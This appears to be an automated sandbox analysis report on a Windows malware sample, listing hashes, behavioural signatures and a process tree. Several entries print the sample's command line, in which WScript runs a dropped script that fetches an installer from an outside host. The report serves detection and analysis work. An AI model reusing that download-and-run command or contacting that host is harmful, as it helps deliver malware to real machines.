Analysis
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max time kernel
134s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
07/05/2024, 20:52
Static task
static1
Behavioral task
behavioral1
Sample
21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe
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Size
184KB
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MD5
21ae26a9cddd6a91b1fd53eed9ff3dcb
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SHA1
86986c72ec1f2b23c08b2ab54e67eceb3ab72d93
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SHA256
e4e59804853999813b55545f0ddb60394f9b02704484f289399ae88b12f3e1ae
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SHA512
32e1b16c66953b4cc7f17f99e83fd7aceb35d367904c807e8de5f12a58e9053614f3b6ac943afcc2ec949dd47908fc352be58f7db4caf3c2668ed20cac314ed2
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO31:/7BSH8zUB+nGESaaRvoB7FJNndnw
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 6 4436 WScript.exe 34 4352 WScript.exe 42 4312 WScript.exe 57 2088 WScript.exe 60 3760 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2648 3976 WerFault.exe 86 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3976 wrote to memory of 4436 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 87 PID 3976 wrote to memory of 4436 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 87 PID 3976 wrote to memory of 4436 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 87 PID 3976 wrote to memory of 4352 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 97 PID 3976 wrote to memory of 4352 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 97 PID 3976 wrote to memory of 4352 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 97 PID 3976 wrote to memory of 4312 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 101 PID 3976 wrote to memory of 4312 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 101 PID 3976 wrote to memory of 4312 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 101 PID 3976 wrote to memory of 2088 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 104 PID 3976 wrote to memory of 2088 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 104 PID 3976 wrote to memory of 2088 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 104 PID 3976 wrote to memory of 3760 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 105 PID 3976 wrote to memory of 3760 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 105 PID 3976 wrote to memory of 3760 3976 21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe2⤵
- Blocklisted process makes network request
PID:4436
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe2⤵
- Blocklisted process makes network request
PID:4352
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe2⤵
- Blocklisted process makes network request
PID:4312
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe2⤵
- Blocklisted process makes network request
PID:2088
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe2⤵
- Blocklisted process makes network request
PID:3760
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 14762⤵
- Program crash
PID:2648
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3976 -ip 39761⤵PID:1856
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76